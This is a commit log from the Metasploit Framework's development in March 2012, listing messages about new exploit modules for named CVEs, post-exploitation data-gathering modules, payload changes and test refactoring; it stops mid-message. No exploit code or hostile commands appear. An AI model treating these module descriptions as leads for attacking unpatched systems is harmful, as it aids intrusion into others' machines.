sinn3r e44f9d06ec Remove the extra 'require' 2012-03-27 01:24:12 -05:00
sinn3r 670e15b40f Add OSX Gather Airport post module 2012-03-27 01:18:38 -05:00
HD Moore ad92eff66c Correct an issue where launched exploits only used saved configurations 2012-03-26 22:43:33 -05:00
Tod Beardsley eb9b92268e Merge pull request #257 from ChrisJohnRiley/base32
Added a Rex library for encoding to/from Base32, based on Samuel Tesla's free Ruby implementation.
2012-03-26 17:34:19 -07:00
James Lee 9888173896 Convert railgun tests to ModuleTest API 2012-03-26 17:08:33 -06:00
James Lee 98882621c0 Allow empty values for OptRegexp options 2012-03-26 17:06:43 -06:00
Tod Beardsley fb9163caf9 Merge pull request #278 from wchen-r7/manageengine_deviceexpert
Add OSVDB-80262 ManageEngine DeviceExpert
2012-03-26 14:42:36 -07:00
James Lee d6ba1d3a32 Convert registry tests to ModuleTest API 2012-03-26 15:41:34 -06:00
James Lee e13535400b Add exception logging for test failures 2012-03-26 15:41:08 -06:00
James Lee 84197a8903 Return a proper value instead of a silly print 2012-03-26 15:40:43 -06:00
Tod Beardsley 7a74cc7694 Quoting "Chicken of the VNC"
Otherwise, this looks like a nonsense string to people not familiar with
this application.
2012-03-26 16:26:40 -05:00
Tod Beardsley 8fbf4cf6d9 Grammar on dns_txt_query_exec payload name and desc 2012-03-26 16:23:54 -05:00
Tod Beardsley d95d60670e Fix up desc again on enum_dns 2012-03-26 16:20:00 -05:00
Tod Beardsley 14b45f9fb1 More fixes to enum_dns.rb
* Should use 'and', not & (bitwise AND)
  * Made capitalization sane for Anglophones. See: http://owl.english.purdue.edu/owl/resource/592/1/
2012-03-26 16:14:04 -05:00
Tod Beardsley dc6f76eb20 Style fixes for enum_dns.rb
* Use a dotted.notation for note types
  * Changed title to something more descriptive
  * Expanded description
  * Other trivial changes
2012-03-26 16:08:39 -05:00
Tod Beardsley ef0ce1c10d Merge pull request #276 from rapid7/checksum-fixer
Checksum fixer, pretty well optimized.
2012-03-26 11:15:40 -07:00
sinn3r 79d74b8768 ADD OSVDB-80262 2012-03-26 12:58:18 -05:00
sinn3r 19fc8d9883 Add OSVDB-80262 2012-03-26 12:42:24 -05:00
Tod Beardsley 5cacf5f8f6 A still cleaner checksummed URI generator
Now with http and https support.
2012-03-26 12:34:30 -05:00
Tod Beardsley 899c6529c3 Revert "Precalculate some uri strings in case the 1000-round generation fails"
This reverts commit 7161a548f4.

Prepping for a more sane solution that doesn't change the URI sizes and
succeeds without fallingback to a pre-generated list.
2012-03-26 12:34:30 -05:00
hdm 27d3f490f7 Precalculate some uri strings in case the 1000-round generation fails 2012-03-26 12:33:54 -05:00
Tod Beardsley 93244f2dc8 Revert "Precalculate some uri strings in case the 1000-round generation fails"
This reverts commit 7161a548f4.

Prepping for a more sane solution that doesn't change the URI sizes and
succeeds without fallingback to a pre-generated list.
2012-03-26 12:22:19 -05:00
Tod Beardsley 9fad028d8a A nicer checksum fixer
Just use a checksum digit like a cc#, no need for precalculated lists,
will be correct every time.
2012-03-26 11:59:29 -05:00
hdm 7161a548f4 Precalculate some uri strings in case the 1000-round generation fails 2012-03-26 11:50:50 -05:00
Tod Beardsley 507dd423ce Rogue period, DELETED. 2012-03-26 10:54:26 -05:00
sinn3r 182f3744de Cosmetic cleanup 2012-03-26 09:23:14 -05:00
corelanc0d3r ad32911b1a probably safer to use regex 2012-03-26 09:01:40 -05:00
Tod Beardsley f07cc2db4c Merge pull request #269 from jlee-r7/master
Some verbosity in testing Post file API.
2012-03-26 05:52:48 -07:00
Kurtis Miller e2606764cb forgot to add renamed module 2012-03-25 09:08:38 -07:00
Kurtis Miller 7ea37253a0 modifications recommended by sinn3r 2012-03-25 09:04:35 -07:00
Kurtis Miller d8ddb19b56 cve-2008-0610 windows exploit module 2012-03-25 00:14:19 -07:00
Jonathan Cran 135cf7ba04 remove trailing comma, thanks troulouliou 2012-03-23 17:00:04 -05:00
James Lee 926c11139e Don't write out debugging junk 2012-03-23 15:33:28 -06:00
James Lee 5da33c4bf1 Add some verbosity for explaining why a read failed 2012-03-23 15:31:36 -06:00
Tod Beardsley e1783acd6f Adding newline to end of ricoh_dl_bof.rb 2012-03-23 16:31:11 -05:00
Tod Beardsley 2bcf259301 Setting correct LFs on freepbx_callmenum.rb 2012-03-23 16:29:42 -05:00
wchen-r7 71462bc73d Merging in freepbx_callmenum.rb and ricoh_dl_bof.rb
[Closes #266]
2012-03-23 16:23:36 -05:00
sinn3r fbfd308d79 This actually shouldn't go it now because it's still being code reviewed 2012-03-23 15:32:24 -05:00
Tod Beardsley 47493af103 Merge pull request #259 from todb-r7/edb-2
Convert Exploit-DB references to first-tier "EDB-12345" references
2012-03-23 12:09:07 -07:00
sinn3r 6f0f9041c8 Merge pull request #267 from wchen-r7/hp_data_protector_win_cmd
Add HP Data Protector aux module for executing commands on Windows
2012-03-23 11:06:52 -07:00
sinn3r 10733f6a1c Update description 2012-03-23 13:05:40 -05:00
sinn3r fef1e31e2a Merge branch 'olliwolli-3cdaemonsp3' 2012-03-23 08:52:19 -05:00
Tod Beardsley e30623a2c9 Merge pull request #264 from wchen-r7/ricoh_dc_exploit
Add Ricoh DC DL-10 FTP Buffer Overflow
2012-03-23 06:45:02 -07:00
sinn3r 20f0a58c6a Minor fixes 2012-03-23 08:23:30 -05:00
sinn3r 41bc8ded3d Add HP Data Protector aux module for executing commands on Windows 2012-03-23 07:57:13 -05:00
Oliver-Tobias Ripka 30a3d8bb96 Add Windows SP3 to targets. 2012-03-23 13:52:18 +01:00
James Lee 17a044db89 Print the full URI
Makes everything obvious from output alone, don't need to show options
to see what RHOST is.
2012-03-22 18:44:55 -06:00
HD Moore e9d6309143 Fix 1.9.2 compatibility issues and C99 warnings 2012-03-22 19:09:16 -05:00
sinn3r 6625d97599 Add Ricoh DC DL-10 FTP Buffer Overflow 2012-03-22 15:30:00 -05:00
Tod Beardsley b2b2580dbf Adding the correct url for exploit-db exploits. 2012-03-22 14:26:46 -05:00
Patrick Webster 3dc0e97998 Updating description and refs to Patrick's module
There was some weirdness with the commit log on this module but it
should all be kosher now.

[Closes #260]
2012-03-22 10:30:25 -05:00
Tod Beardsley 348d0b6278 Merge pull request #263 from rsmudge/armitage
Armitage 03.22.12
2012-03-22 08:18:28 -07:00
Raphael Mudge b176e660a0 last minute change to how I highlight pivots. 2012-03-22 10:22:59 -04:00
sinn3r 434b56824b Merge pull request #261 from rsmudge/armitage
Armitage 03.22.12
2012-03-22 00:21:15 -07:00
Raphael Mudge 38b379ef88 Armitage 03.22.12
This release tweaks the payload selection logic, improves the built-in nmap profiles, and adds DNS enumeration to the Hosts menu.
2012-03-21 23:42:55 -04:00
James Lee 2d29184adc Use interpolation to ensure LPORT is a string for gsub
[Fixes #6542]
2012-03-21 21:05:05 -06:00
sinn3r ddacf1dde8 Merge pull request #258 from wchen-r7/ms10_002_ie
Add CVE-2010-0248 Internet Explorer Object Handling Use After Free
2012-03-21 17:20:27 -07:00
sinn3r 0a24c354db Update ms10-002 with dyphens 2012-03-21 19:19:20 -05:00
Tod Beardsley 7d12a3ad3a Manual fixup on remaining exploit-db references 2012-03-21 16:43:21 -05:00
Tod Beardsley 2f3bbdc00c Sed replacement of exploit-db links with EDB refs
This is the result of:

find modules/ -name \*.rb -exec sed -i -e 's#\x27URL\x27,
\x27http://www.exploit-db.com/exploits/\([0-9]\+\).*\x27#\x27EDB\x27,
\1#' modules/*.rb {} \
2012-03-21 16:43:21 -05:00
Tod Beardsley c589420f42 Typo fix, missing comma 2012-03-21 16:43:21 -05:00
Tod Beardsley 75785a8b9f Got tired of writing out Exploit-DB identifiers
There are 143 modules with exploit-db references, may as well make them
easier to write and find. This change introduces the EDB identifier.
2012-03-21 16:43:21 -05:00
sinn3r 2c16eb29b6 Add CVE-2010-0248 Internet Explorer Object Handling Use After Free exploit 2012-03-21 16:11:26 -05:00
Chris John Riley b49b947b9a Added Base32 Support 2012-03-21 22:02:46 +01:00
Tod Beardsley 31228ed65a Comment indentation 2012-03-21 15:21:10 -05:00
Tod Beardsley 482a1a8511 Merge pull request #253 from corelanc0d3r/dnspayload
rewrote DNS TXT query out-of-band payload delivery shellcode
2012-03-21 13:19:55 -07:00
Tod Beardsley 8f17cc3f5c MS12-020 not MS12-002 2012-03-21 13:58:18 -05:00
Tod Beardsley 23c9c51014 Fixing CVE format on sit_file_upload. 2012-03-21 09:59:20 -05:00
Tod Beardsley b09d91d1c7 Removing enum_bing_url
Moving this over to unstable until the described http request problem
gets resolved.
2012-03-21 09:33:31 -05:00
Peter Van Eeckhoutte 89d7363a8f fixed crash 2012-03-21 10:39:05 +01:00
sinn3r c64226f4b8 Fix regex 2012-03-21 04:31:49 -05:00
sinn3r 056985625d damn comma 2012-03-21 04:06:54 -05:00
sinn3r e973da7c6d Add Chicken of the VNC client profile collector module 2012-03-21 04:04:35 -05:00
Peter Van Eeckhoutte f81730a7e1 changes to the way jmp to payload is done 2012-03-21 09:52:22 +01:00
corelanc0d3r 45ef7fc35d reset author 2012-03-20 20:43:56 +01:00
sinn3r ed542e2b6c Change dns_enum to enum_dns for naming style consistency 2012-03-20 14:11:04 -05:00
sinn3r b8b5c79957 No need for net/http 2012-03-20 14:09:40 -05:00
sinn3r 777e221232 Add Bing URL enumerator by Royce (Feature #6499) 2012-03-20 14:07:42 -05:00
Tod Beardsley 582a9e9f73 Merge pull request #248 from todb-r7/master
Test pull request, please ignore.
2012-03-20 07:14:45 -07:00
Tod Beardsley da963fc8b2 Adding OSVDB for dell_webcam_crazytalk.rb 2012-03-20 07:52:50 -05:00
Tod Beardsley e325469f6e Grammar fix for dell_webcam_crazytalk module 2012-03-20 07:43:02 -05:00
sinn3r f4dac59894 Add Dell Webcam CrazyTalk component BackImage overflow exploit 2012-03-20 03:46:37 -05:00
James Lee bba98136b6 Clarify the driver situation a bit
Tell the user what's really going on instead of what was going on before
4.2 was released and we still supported databases other than postgres.
2012-03-19 21:13:49 -06:00
Tod Beardsley 826fdc014d Whitespace on the readme.
This readme really ought to be formatted with some markup some day.

However, today is not that day.
2012-03-19 21:17:33 -05:00
Peter Van Eeckhoutte a3035dc6d0 Adding corelandc0d3r's http/https/ftp payload
Picks up the one http/https/ftp payload, but not the other two DNS
payloads listed as part of the original pull request.

[Closes #173]
2012-03-19 16:50:59 -05:00
Tod Beardsley bff860c62d s/brute force/bruteforce
This is the preferred spelling in Metasploit, at least, according to
grep consensus:

./metasploit-framework$ grep -ri "brute force" . | wc -l
111
./metasploit-framework$ grep -ri "bruteforce" .  | wc -l
183
2012-03-19 16:14:00 -05:00
James Lee 8265fc4b82 Clarify that we're looking at sniffer ifaces 2012-03-19 15:04:40 -06:00
Tod Beardsley 4391c24d2f Trivial touchups on RDP DoS module.
Dropping a line about what it can't do, adding freenode comment.
2012-03-19 14:27:27 -05:00
sinn3r 3a851ef2c2 Fix typo 2012-03-19 13:20:59 -05:00
sinn3r 3d72d52625 Add reporting to MS12-020 2012-03-19 13:18:51 -05:00
sinn3r fa4504e1f6 Let's make this clear, it's just a DoS 2012-03-19 13:00:29 -05:00
sinn3r 13f16daca7 Actually, that date is way off. Corrected. 2012-03-19 12:58:52 -05:00
sinn3r d8be328b89 Ported Daniel/Alex/jduck's MS12-020 PoC as a Metasploit module 2012-03-19 12:53:34 -05:00
Tod Beardsley e938f24267 Update Spiceworks importer to use CSV, keep info
Instead of data.each, use the stdlib CSV importer. This will avoid
accidentally splitting on ',' characters at a minimum.

If the device has a serial number and/or a location, keep that and
reflect it in the info.
2012-03-19 12:45:25 -05:00
sinn3r cdd7a16603 Apply egypt's fix for "\n" 2012-03-19 10:19:10 -05:00
James Lee d25756976c Add a binary-safe method for writing files on unix shell sessions
Also some tests for doing so, all of which pass on Linux, Windows, and
Java meterpreter, as well as shell sessions on Linux and Solaris. They
will fail miserably on Windows shell sessions.
2012-03-19 01:10:23 -06:00
James Lee 66727043f9 Add an inspect method that doesn't print the entire buffer
Also cleans up some whitespace
2012-03-19 01:10:23 -06:00
sinn3r aeb691bbee Massive whitespace cleanup 2012-03-18 00:07:27 -05:00
sinn3r 7c77fe20cc Some variables don't need to be in a double-quote. 2012-03-17 20:37:42 -05:00
sinn3r acac3fa38d Add back enum_protections with some new changes 2012-03-17 16:00:20 -05:00
sinn3r d79f89b190 Merge branch 'post-mods' of https://github.com/ohdae/metasploit-framework 2012-03-17 15:33:20 -05:00
jlee-r7 e35ce32c1f Merge pull request #243 from kernelsmith/venom
added macho support to msfvenom and fixed overly aggressive regex
2012-03-17 11:52:47 -07:00
ohdae 14d427fa87 Added fix for enum_protections 2012-03-17 13:28:31 -04:00
ohdae 97a9011f03 Merge branch 'master' of github.com:rapid7/metasploit-framework into post-mods 2012-03-17 13:22:51 -04:00
James Lee 49217a28ec Add pending tests for binary and large files 2012-03-17 11:05:16 -06:00
sinn3r 78331bb4c1 A bunch of fixes 2012-03-17 03:14:26 -05:00
sinn3r 4a0c75f4b3 Merge branch 'post-mods' of https://github.com/ohdae/metasploit-framework 2012-03-17 02:38:35 -05:00
sinn3r ff093c3f93 The comments in get_chatlogs need an update 2012-03-17 00:28:05 -05:00
sinn3r 39cfa43250 Correct license format 2012-03-17 00:25:41 -05:00
sinn3r 3479a314e3 Add enum_adium.rb post module 2012-03-17 00:22:03 -05:00
Joshua Smith d29098aee3 added macho support to msfvenom and fixed overly aggressive regex at line 400 2012-03-16 21:17:45 -04:00
James Lee 4b73f75a49 Make sure the file was actually written as expected 2012-03-16 17:20:24 -06:00
James Lee 14fdde67ab Use a proper mode for appending 2012-03-16 17:18:44 -06:00
James Lee c1eca01849 Cleanup the file created during testing 2012-03-16 17:03:22 -06:00
James Lee 103ecd3acc Make the test for file existence platform agnostic 2012-03-16 16:39:29 -06:00
James Lee c1989de06b Don't commit leftovers from failed patches 2012-03-16 16:28:16 -06:00
James Lee 47ce05cc27 Add a couple methods and some tests for Post::File 2012-03-16 16:27:06 -06:00
ohdae c3f98fe284 Changed store_note to store_loot. Fixed local/remote file retrieval 2012-03-16 16:54:36 -03:00
ohdae 4e23f41a59 Merge branch 'master' of github.com:rapid7/metasploit-framework into post-mods 2012-03-16 14:59:48 -04:00
James Lee 6754bccf78 Use #session_compatible? instead of looping through #compatible_sessions 2012-03-16 12:12:08 -06:00
James Lee 4ed55dc958 Fall back to MIB method if we can't get netmasks
Misses IPv6 addresses, but at least doesn't break everything.

[Fixes #6525]
2012-03-16 11:30:25 -06:00
sinn3r d3a87b59aa This module is not ready, yanked. 2012-03-16 11:49:31 -05:00
sinn3r 8a0a3a1ac2 Merge pull request #241 from gregory-m/sockso_traversal
sockso_traversal 1.8 compatibility fix
2012-03-16 09:31:27 -07:00
Gregory Man ba6928cbf1 sockso_traversal 1.8 compatibility fix 2012-03-16 18:12:09 +02:00
ohdae c5a4dc39c3 fix 2012-03-16 09:17:35 -04:00
ohdae 9b4ecc2777 Merge branch 'post-mods' of github.com:ohdae/metasploit-framework into post-mods 2012-03-16 09:15:47 -04:00
ohdae b635019d56 saves each config to loot instead of notes 2012-03-16 09:14:48 -04:00
James Lee ba1ed93ee2 Check for a 0 prefix length
If the OnLinkPrefixLength is 0, something is wrong, try the value in the
prefix linked list.  Appears to fix v4 addresses on XP but not 2k3.

[See #6525]
2012-03-16 03:46:10 -06:00
James Lee 65b92efe8c Fix an ancient syntax fail 2012-03-16 02:03:54 -06:00
James Lee 9aaf6af072 Return network prefixes when available
Solves #6525 on Vista+.  Win2k still works using the old MIB method
(which doesn't support ipv6).  Win2k3 and XP are still busted for
unknown reasons.
2012-03-16 01:50:26 -06:00
James Lee 916f23fe4e Add IPv6 support for bit2netmask 2012-03-16 01:50:26 -06:00
James Lee a3db547c76 Justify TLVs to be a little easier to read 2012-03-16 01:50:26 -06:00
sinn3r 9f0a293a53 Correct variable name 2012-03-16 01:17:39 -05:00
ohdae 13b92b97e9 Fixed incorrect variable within get_sql_history 2012-03-16 01:40:12 -03:00
ohdae f6a2e2b890 Enumerate important and interesting configuration files 2012-03-15 22:59:42 -04:00
David Maloney 6011da7db8 More Virtualisation SSL fixes 2012-03-15 19:06:48 -05:00
David Maloney e4778c2ba4 Default SSL to true for esx_fingerprint module 2012-03-15 18:15:29 -05:00
Tod Beardsley e3f2610985 Msftidy run through on the easy stuff.
Still have some hits, but that requires a little more code contortion to
fix.
2012-03-15 17:06:20 -05:00
Tod Beardsley 90f3e755f5 Commenting out poor naming style checks
Too noisy when run against all the exploits -- it's a good idea but it's
too falsey at the moment to be useful.
2012-03-15 17:00:44 -05:00
Tod Beardsley 9144c33345 MSFTidy check for capitalization in modules
And also fixes up a dozen or so failing modules.
2012-03-15 16:38:12 -05:00
sinn3r 46dbaf8283 Fix typos and output 2012-03-15 16:10:05 -05:00
sinn3r 81b3eaa482 Fix typo 2012-03-15 15:56:24 -05:00
sinn3r db4538389c Add sockso dir traversal 2012-03-15 15:55:54 -05:00
James Lee 74e40763d6 Fix syntax error in 1.8, thanks Jun Koi for the patch 2012-03-15 14:32:16 -06:00
sinn3r e53938b9d7 Merge branch 'ohdae-post-mods' 2012-03-15 14:30:23 -05:00
sinn3r 2770199d28 enum_protections is now find_apps 2012-03-15 14:27:40 -05:00
sinn3r e5c420b676 File rename, as well as design and cosmetic changes 2012-03-15 14:22:23 -05:00
ohdae a42b6e3d1a added report_note, removed store_loot function, cleaned up info/author 2012-03-15 13:55:06 -05:00
ohdae 7215e6053e added report_note, removed store_loot function, cleaned up info/author 2012-03-15 13:53:05 -05:00
sinn3r 8b91cc54c3 Merge branch 'post-mods' of https://github.com/ohdae/metasploit-framework into ohdae-post-mods 2012-03-15 13:50:43 -05:00
ohdae 7e7b220b70 added report_note, removed store_loot function, cleaned up info/author 2012-03-15 15:29:52 -03:00
Tod Beardsley 37bb82d39c WMap should respect the local color setting.
Replaces color = true with actually checking.
2012-03-15 12:27:58 -05:00
sinn3r d5f83be2d0 Cosmetic changes 2012-03-15 11:21:41 -05:00
Maciej Kotowicz 0389e47dfe fix little mistake 2012-03-15 16:21:00 +01:00
ohdae b88af39f74 fixed output newline issue 2012-03-15 12:18:29 -03:00
Gregory Man 9928b102b5 Added rails_mass_assignment module. 2012-03-15 16:56:38 +02:00
sinn3r 5250b179c8 Add CVE and OSVDB ref 2012-03-15 04:40:27 -05:00
ohdae 32002c595d fixed save line 2012-03-15 01:05:35 -03:00
ohdae c165b7b7c2 removed unneeded comments 2012-03-15 01:02:07 -03:00
ohdae 58b2d570c9 fixed output issue 2012-03-15 01:00:55 -03:00
James Lee 6895ff9cbb Whitespace at EOL 2012-03-14 21:42:00 -06:00
James Lee 9d563d4d9e Pastographical error 2012-03-14 21:41:14 -06:00
sinn3r 65bde7ec99 Add OSVDB-79863 NetDecision Directory Traversal 2012-03-14 16:50:54 -05:00
Maciej Kotowicz f91b894375 added posibilities for generating payload from asm to more arch's
added linux/x64/shell_find_port payload
2012-03-14 22:39:56 +01:00
sinn3r 26ebe53ff7 enum_linux isn't in the framework anymore. Instead of we use enum_network, enum_system, and enum_users_history 2012-03-14 16:36:43 -05:00
ohdae ffc41bf265 removed unneeded dependency 2012-03-14 18:26:53 -03:00
Jonathan Cran c38aaede03 duplicate of enum_users_history.rb 2012-03-14 16:07:49 -05:00
Jonathan Cran 3e92973d4a Merge branch 'master' of r7.github.com:rapid7/metasploit-framework 2012-03-14 15:55:32 -05:00
James Lee bd3f27afa8 Remove some debug output 2012-03-14 13:24:34 -06:00
James Lee 48486a6518 malloc properly in Linux instead of living on hopes and dreams
Also fixes a mem leak in windows.
2012-03-14 13:02:11 -06:00
James Lee 5ca9c95f1d Remove some debugging junk 2012-03-14 12:51:09 -06:00
James Lee 5fafb8bf02 Refactor entryCount -> tlv_cnt for consistency 2012-03-14 12:50:45 -06:00
James Lee 6036691517 Adjust snaplen to grab the whole packet in case mtu > 1514
Fixes an issue where pcap_dispatch would return -1 and pcap_geterror
said "corrupted frame on kernel ring mac"

[Fixes #6527]
2012-03-14 12:36:36 -06:00
ohdae 5c74b7741b locates installed 3rd part av, fws, etc 2012-03-14 13:30:16 -04:00
sinn3r d1efb40d2d Fix bad path for Windows (bug #6523) - Thanks Francesco 2012-03-14 12:27:40 -05:00
James Lee 43f5ffabf6 Add Linux bins for new sniffer_release command et al.
[See #214]
2012-03-14 11:07:31 -06:00
James Lee 2c34b7d599 Alias ifconfig to ipconfig
This has bugged me for *years*.
2012-03-14 11:07:31 -06:00
James Lee 40e1cafd6e Remove extraneous debug print 2012-03-14 11:07:31 -06:00
gaspmat@gmail.com 248a73a73c change sniffer behaviour when stopping capture. workaround if pcap_findalldev fails 2012-03-14 11:07:31 -06:00
sinn3r 46da36d3a0 Fix bug: undefined method `size' for nil:NilClass (Bug #6526) by Raphael 2012-03-14 11:49:49 -05:00
sinn3r 3b880359fe Change module name to better describe the purpose of it. Also some cosmetic corrections. 2012-03-14 11:44:03 -05:00
sinn3r 704f8e391d Remove the line that's commented out 2012-03-14 11:37:43 -05:00
ohdae 60b3ee7b16 Added user specific tasks to enum_users, removed bash_hist from enum_sys, added disk space info to enum_system 2012-03-14 09:06:51 -04:00
sinn3r 50f8b6088b Fix cosmetic problems 2012-03-14 05:20:19 -05:00
sinn3r 4872e80385 Cleanup whitespace and author format 2012-03-14 05:18:00 -05:00
sinn3r 67a3a65b16 Merge branch 'ohdae-my-branch' 2012-03-14 05:15:08 -05:00
sinn3r 9d7e22876c Merge branch 'my-branch' of https://github.com/ohdae/metasploit-framework 2012-03-14 05:14:33 -05:00
sinn3r ecb1fda682 Add OSVDB-79651: NetDecision 4.5 HTTP Server Buffer Overflow 2012-03-14 05:13:22 -05:00
ohdae fbd076e749 removed old/ folder 2012-03-13 22:49:01 -04:00
sinn3r aa0e02b6bf Merge branch 'my-branch' of https://github.com/ohdae/metasploit-framework into ohdae-my-branch 2012-03-13 21:31:49 -05:00
ohdae b86fa5c85b Combined network tasks into enum_network.rb, Combined user/system tasks into enum_system.rb 2012-03-13 22:24:49 -04:00
ohdae 0fe26780b9 Merge branch 'my-branch' of github.com:ohdae/metasploit-framework into my-branch 2012-03-13 22:20:59 -04:00
ohdae 96fb9fd458 Combined network tasks into one module, Combined system/user tasks into one module 2012-03-13 22:18:24 -04:00
ohdae f79bda2dc7 Update modules/post/linux/gather/enum_linux.rb 2012-03-13 21:15:47 -03:00
ohdae 3260bc6b65 Update modules/post/linux/gather/enum_linux.rb 2012-03-13 21:14:49 -03:00
ohdae bd5950ea52 added active connections, iwconfig, if-up/down, open ports 2012-03-13 20:09:41 -04:00
Jonathan Cran b9ca2de265 Merge branch 'master' of r7.github.com:rapid7/metasploit-framework 2012-03-13 18:37:28 -05:00
David Maloney 5a69c896fc Fixes #6465
Properly imports vulnerability titles from Qualys Scan Reports
2012-03-13 16:45:55 -05:00
ohdae 4b7e380581 Linux post ssh enum, Linux post network info 2012-03-13 17:27:21 -04:00
James Lee 6cfb3ff4fc Comment out extension TLV types
I suspect this is a load order issue where sometimes the extension's TLV
types are defined before hitting this and sometimes aren't.
Nevertheless, pretty printing a TLV is not worth breaking all the
payloads.
2012-03-13 14:08:58 -06:00
James Lee 6a6dd06103 Merge branch 'feature/6476-list-all-ifaces'
Conflicts:
	modules/auxiliary/scanner/afp/afp_server_info.rb
2012-03-13 13:55:45 -06:00
James Lee 89e3fee5a8 Revert "Squashed commit of the following:"
This reverts commit dd9ac8a6c0.
2012-03-13 13:38:35 -06:00
James Lee dd9ac8a6c0 Squashed commit of the following:
commit 8b4750d0dcbac0686f9403acdf5cab50c918212f
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 13 13:14:43 2012 -0600

    Add bins for listing all addresses

    [Fixes #6476]

commit 213dd92ebc9b706a45725e6515c7939d2edace0e
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 13 02:08:34 2012 -0600

    Accept multiple addresses and netmasks

    [See #6476]

commit 2e8bd3c3ecfb319bf9456485d2420bb5829b60cc
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 13 01:55:57 2012 -0600

    Make inspecting meterpreter packets a little less painful

    Not sure why I originally thought there was no way to access extensions'
    constants before.  A simple `require` makes it all happy.

commit da367907cf579bd3aefaffbc84d2f96a41b85f00
Author: James Lee <egypt@metasploit.com>
Date:   Sun Mar 11 22:08:44 2012 -0600

    Fix up Linux after changes for Windows

commit ec9f04378b0155f69df95d4a94e62d33ce61977c
Author: James Lee <egypt@metasploit.com>
Date:   Sun Mar 11 21:56:11 2012 -0600

    Grab IPv6 addresses on Windows when possible

    Tries to GetProcAddress of GetAdaptersAddresses and falls back to the
    old GetIpAddrTable() function when it isn't available. This should work
    on XPSP1 and newer, albeit without netmasks on versions before Vista.
    Still trying to figure that one out.

commit 1052ebdcf86114fbc03d1a37ab5d4c6a78e82daa
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 6 15:34:09 2012 -0700

    Wrap Windows-specifc headers in ifdef

commit f23f20587b3117c38a77e7e5a93d542411e9504f
Author: James Lee <egypt@metasploit.com>
Date:   Tue Mar 6 14:36:34 2012 -0700

    Handle multiple addrs on one iface on the ruby side

commit d7207d075ac6462875d9da531cf20c175629a416
Author: James Lee <egypt@metasploit.com>
Date:   Mon Mar 5 21:57:39 2012 -0700

    Adds IPv6 addrs to win32 get_interfaces response

commit 11ae7e8a45bd56d25841ea8724377e0fb6789d72
Author: James Lee <egypt@metasploit.com>
Date:   Mon Mar 5 09:07:28 2012 -0700

    Don't distinguish between 4 and 6.

    The client can figure it out from the length.

commit 2c7490bdf3e4079f30857ee323d2ce23ab1bd9a5
Author: James Lee <egypt@metasploit.com>
Date:   Sun Mar 4 04:25:26 2012 -0700

    Append to the list instead of assigning to it

    All addresses are being sent to the client now.  Just need a way to
    parse them out correctly on the other side and meterpreter will be able
    to list all addresses on all interfaces on Linux.  Next step is to
    allocate the proper number of TLVs to avoid good ol' stack smashes on
    systems with lots of addresses and then make sure we clean all the
    memory leaks.

    [See #6476]

commit 73bba037ad968b922341c02459017afcc8407a76
Author: James Lee <egypt@metasploit.com>
Date:   Sun Mar 4 03:12:28 2012 -0700

    Lay the groundwork for returning all addresses

    This commit only sends the last interface in the list, but it is looping
    through all of them as evidenced by the log, just need to make sure
    we're not overwriting as we go.

    [See #6476]
2012-03-13 13:19:18 -06:00
James Lee d09a80594c Add bins for listing all addresses
[Fixes #6476]
2012-03-13 13:14:43 -06:00
Tod Beardsley 81248f35c4 Changing H.323 constant for H323_STATUS_FACILITY
However, it's not actually being used in the module anywhere, so this
change appears cosmetic more than anything right now. However, I'm
inclined to believe Ricky's suggestions when it comes to H.323.

Corroborated by this 2003 post to the Ethereal mailing list:

http://www.ethereal.com/lists/ethereal-users/200311/msg00001.html

[See #6521]
2012-03-13 12:26:03 -05:00
sinn3r 1699825c27 Merge pull request #228 from m-1-k-3/resource-scripts
Resource scripts
2012-03-13 09:36:11 -07:00
sinn3r 50d2796899 Merge branch 'afp' of https://github.com/gregory-m/metasploit-framework into gregory-m-afp 2012-03-13 11:30:34 -05:00
sinn3r b4deda7d9f Merge pull request #231 from brandonprry/spiceworks
spiceworks tab fix
2012-03-13 09:29:42 -07:00
Brandon Perry 7275e91698 spiceworks tab fix 2012-03-13 08:46:11 -07:00
James Lee 1d99330795 Accept multiple addresses and netmasks
[See #6476]
2012-03-13 02:08:34 -06:00
Gregory Man b0ba10f79c Added afp_login module. 2012-03-13 10:01:42 +02:00
Gregory Man 5b13b7d1d9 Extracted common AFP functionality to mixin 2012-03-13 09:56:03 +02:00
James Lee 58bc9346f4 Make inspecting meterpreter packets a little less painful
Not sure why I originally thought there was no way to access extensions'
constants before.  A simple `require` makes it all happy.
2012-03-13 01:55:57 -06:00
James Lee 3ba471176e Return an appropriate error when stat() fails
Tested on Linux and Windows

[Fixes #6517]
2012-03-13 01:45:58 -06:00
m-1-k-3 89ef2ef061 db checks and new nessus_vulns_cleaner 2012-03-13 08:33:22 +01:00
m-1-k-3 0da5f798e5 Merge branch 'master' of git://github.com/rapid7/metasploit-framework
Conflicts:
	scripts/resource/wmap_autotest.rc
2012-03-13 08:19:02 +01:00
James Lee b815955e09 Allow file argument for the ls command
Previously only worked for directories.

[Fixes #3055]
2012-03-13 00:52:42 -06:00
HD Moore 1a364df37e Pull payload/exploit options into nop modules as well 2012-03-12 23:28:47 -05:00
HD Moore 606ca82432 Share the datastore with encoders 2012-03-12 23:23:15 -05:00
HD Moore be6a64b3f7 Force option validation in exploit_simple for e & p 2012-03-12 22:57:23 -05:00
Jonathan Cran b5fea8cd35 Merge branch 'release/2012030701' 2012-03-12 17:25:46 -05:00
Jonathan Cran 1ff6f6756c updated to master 2012-03-12 17:25:16 -05:00
Jonathan Cran 1cf25e58d5 merge description change 2012-03-12 17:22:01 -05:00
HD Moore 7b32bc689f Swap URIPATH to TARGETURI for consistency 2012-03-12 13:58:33 -05:00
James Lee 5dc03c6ac0 Fix up Linux after changes for Windows 2012-03-11 22:08:44 -06:00
James Lee 602408743c Grab IPv6 addresses on Windows when possible
Tries to GetProcAddress of GetAdaptersAddresses and falls back to the
old GetIpAddrTable() function when it isn't available. This should work
on XPSP1 and newer, albeit without netmasks on versions before Vista.
Still trying to figure that one out.
2012-03-11 21:56:11 -06:00
sinn3r 7d95132eab Use a cleaner way to calculate JRE ROP's NEG value 2012-03-11 17:27:47 -05:00
sinn3r 6c19466de8 Change output style 2012-03-11 13:59:18 -05:00
sinn3r 25a1552fbd Dynamic VirtualProtect dwSize. Change output style. 2012-03-11 13:49:46 -05:00
Tod Beardsley de888e50f0 Adding a cleaner RuntimeError to target_uri
The purpose of re-raising an error from a library method like this is to
tell the user in no uncertain terms what all actually went wrong with the
module. This fix will cause a somewhat more pleasant error message than
the default message. Here's the raise from URI:

```
